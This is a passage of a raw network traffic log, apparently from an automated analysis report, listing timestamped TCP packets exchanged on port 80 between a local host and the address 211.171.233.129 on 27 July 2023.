Jul 27, 2023 18:26:53.219594955 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219602108 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.219641924 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219646931 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.219691038 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219739914 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219785929 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219800949 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.219835043 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.219839096 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219890118 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219937086 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.219984055 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220005035 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.220031977 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220036030 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.220079899 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220128059 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220175982 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220182896 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.220225096 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220231056 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.220302105 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220350981 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220396996 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220407009 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.220444918 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220449924 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.220490932 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220537901 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220588923 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220597982 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.220637083 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220639944 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.220684052 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220731020 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220776081 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220784903 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.220823050 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.220823050 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220874071 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220921040 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220968962 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.220980883 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.221014977 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.221020937 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.221046925 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.221064091 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.221113920 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.464071035 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464131117 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464159966 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464188099 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464216948 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464245081 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464289904 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464319944 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464346886 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464375973 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464418888 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.464425087 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464420080 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.464420080 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.464452028 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464482069 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464494944 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.464514017 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464521885 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.464544058 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464572906 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464581013 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.464601994 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464628935 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.464628935 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464659929 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464689016 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464715958 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464719057 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.464744091 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.464745998 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464776039 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464798927 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.464803934 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464833975 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464860916 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464891911 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464894056 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.464920998 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464937925 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.464950085 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.464972973 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.464981079 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465010881 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465039015 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465066910 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465073109 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465095997 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465101957 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465125084 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465152025 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465154886 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465181112 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465209007 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465235949 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465243101 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465265036 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465271950 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465292931 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465310097 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465321064 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465348959 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465378046 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465406895 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465409994 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465436935 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465436935 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465465069 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465492010 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465496063 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465519905 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465547085 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465574026 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465583086 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465601921 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465615034 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465632915 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465657949 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465666056 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465694904 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465723038 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465751886 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465753078 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465780020 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465786934 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465809107 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465833902 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465841055 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465871096 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465898991 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465928078 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465928078 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465959072 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.465969086 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.465990067 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466020107 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466021061 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466048002 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466078043 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466105938 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466109991 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466135025 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466136932 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466165066 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466192961 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466219902 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466222048 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466247082 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466260910 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466278076 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466299057 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466309071 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466342926 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466371059 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466398954 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466413975 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466425896 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466439962 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466455936 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466484070 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466490030 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466511965 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466541052 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466542959 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466573000 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466603994 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466633081 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466661930 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466665983 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466691017 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466707945 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466720104 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466727018 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466749907 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466775894 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466778994 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466808081 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466835976 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466862917 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466866016 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466892958 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466907024 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466922998 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466950893 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.466957092 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.466979980 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.467006922 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.467009068 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.470935106 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.709969997 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710038900 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710086107 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710119009 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.710131884 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710179090 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710192919 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.710227966 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710275888 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710295916 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.710323095 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710371017 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710417032 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710433960 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.710462093 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710479021 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.710509062 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710556030 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710599899 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710608959 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.710659981 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710660934 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.710706949 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710753918 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710757971 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.710802078 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710848093 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710896015 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.710896015 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.710942030 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.710948944 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711016893 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711078882 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711123943 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711143017 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.711173058 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711174965 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.711220026 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711266041 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711304903 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.711313009 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711355925 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.711359978 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711407900 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711452961 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711497068 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711500883 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.711543083 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.711543083 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711592913 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711637020 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711683989 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711709023 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.711730957 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711755991 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.711777925 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711823940 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711828947 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.711869955 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711919069 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711963892 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.711966991 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.712008953 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712011099 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.712061882 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712129116 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712184906 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712193012 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.712233067 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712276936 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.712316036 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712364912 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.712369919 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712419033 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712465048 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712507963 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712512970 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.712553978 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712554932 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.712599993 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712644100 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712688923 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712691069 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.712734938 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712735891 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.712781906 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712827921 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712871075 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712873936 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.712918997 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.712919950 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.712966919 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713011980 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713032961 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.713059902 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713104010 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713112116 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.713151932 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713216066 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713268995 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.713274002 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713319063 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.713323116 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713370085 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713416100 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713463068 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713464022 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.713509083 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713510036 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.713556051 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713601112 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713644981 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713648081 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.713691950 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.713691950 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713738918 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713784933 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713808060 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.713834047 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713879108 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713927984 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713969946 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.713973045 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.713990927 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.714020014 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714065075 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714070082 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.714111090 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714157104 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714201927 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714210987 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.714246988 CEST	49698	80	192.168.2.4	211.171.233.129
Jul 27, 2023 18:26:53.714251041 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714320898 CEST	80	49698	211.171.233.129	192.168.2.4
Jul 27, 2023 18:26:53.714375973 CEST	80	49698	211.171.233.129	192.168.2.4
